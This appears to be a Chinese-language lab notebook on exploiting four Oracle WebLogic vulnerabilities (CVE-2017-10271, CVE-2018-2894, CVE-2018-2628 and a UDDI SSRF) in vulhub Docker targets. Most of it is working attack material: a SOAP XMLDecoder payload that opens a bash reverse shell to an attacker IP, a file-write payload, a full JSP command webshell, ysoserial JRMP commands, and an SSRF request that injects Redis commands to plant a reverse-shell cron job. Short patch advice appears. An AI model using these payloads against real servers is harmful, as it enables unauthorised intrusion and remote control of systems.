中间件漏洞记录--6
目录
一、Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
1> 访问 http://ip:7001/wls-wsat/CoordinatorPortType
二、Weblogic 任意文件上传漏洞(CVE-2018-2894)
2、访问 http://ip:7001/console,会跳转至登陆页面
3、执行 docker-compose logs | grep password
4、登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项
7、然后F12,搜 tc_background,有一个时间戳
三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
3、下载ysoserial-cve-2018-2628工具,并启动一个JRMP Server
4、 使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包
2、访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞
1> 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)
2> 发送三条redis命令,将弹shell脚本写入/etc/crontab
一、Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
1、环境搭建
docker + vulhub
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d
2、访问
出现这个404,就说明搭建成功
3、手工检验利用漏洞
1> 访问 http://ip:7001/wls-wsat/CoordinatorPortType
出现如下页,则可能存在此漏洞
默认存在漏洞的url
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
2> 抓一个上面那个包,并改成POST传参
3> 利用POST传参,构造XML 反弹shell 代码
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.129.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.129.225/1234 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
4> 提前监听,getshell
5> 还可以写入文件
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.129.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
4、用工具
直接可以检测,命令执行,上传
修复建议
- 安装补丁。
- 删除wls-wsat组件,再次访问返回404.
二、Weblogic 任意文件上传漏洞(CVE-2018-2894)
1、环境搭建
docker + vulhub
cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d
2、访问 http://ip:7001/console,会跳转至登陆页面
3、执行 docker-compose logs | grep password
可以查看到用户名密码 weblogic Hzxon4k3
4、登录后台页面,点击base_domain
的配置,在“高级”中开启“启用 Web 服务测试页”选项
然后保存
5、修改工作目录
访问http://your-ip:7001/ws_utc/config.do
,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的
6、然后点击安全 -> 增加,然后上传webshell
7、然后F12,搜 tc_background,有一个时间戳
8、然后访问,成功执行
http://192.168.129.129:7001/ws_utc/css/config/keystore/1637242302425_shell.jsp
http://ip:7001/ws_utc/css/config/keystore/时间戳_上传的文件名
9、木马在此
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
ysoserial-cve-2018-2628,下载链接https://github.com/tdy218/ysoserial-cve-2018-2628/releases
expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553
1、环境搭建
docker + vulhub
cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d
2、访问 /console,搭建成功
3、下载ysoserial-cve-2018-2628工具,并启动一个JRMP Server
java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener 1234 Jdk7u21 "touch /tmp/hello"
java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener [攻击机监听端口] jdk版本编号 "要执行的命令"
4、 使用exploit.py脚本,向目标Weblogic(http://your-ip:7001
)发送数据包
python2 exploit.py 靶机IP 端口(默认7001) ysoserial-0.1-cve-2018-2628-all.jar的位置 攻击机IP 攻击机监听端口 JRMPClient
5、查看,命令执行成功
来到部署环境的靶机的那个目录下,执行 docker-compose exec weblogic bash
查看目录,命令执行成功,成功创建
四、Weblogic SSRF漏洞
1、环境搭建
docker + vulhub
cd vulhub/weblogic/ssrf
docker-compose up -d
2、访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞
3、填写任意信息,search抓包
并将其改为get类型
4、探测内网
参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code
若端口未开放,则会返回 but could not connect over HTTP to server
通过 返回数据包 中的错误信息,即可探测内网状态。
5、注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
1> 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)
docker ps -a
docker inspect redis的id值
最下面可以看到ip
探测是否开放
出现右边这句话,说明6379开放
2> 发送三条redis命令,将弹shell脚本写入/etc/crontab
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/ip/端口 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
将其进行url编码,加在6379后面,发包
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.27.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.129.226%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=abcd&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
Host: 192.168.129.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Origin: http://192.168.129.129:7001
Connection: close
Referer: http://192.168.129.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=HB0dhXTP4WZ1VGP9qGRkvYq25f0TnhZQPQ2Fy4hqc1JYhz8dnqzd!1867720999
Upgrade-Insecure-Requests: 1
3> 提前监听,getshell
修复建议
删除SearchPublicRegistries.jsp文件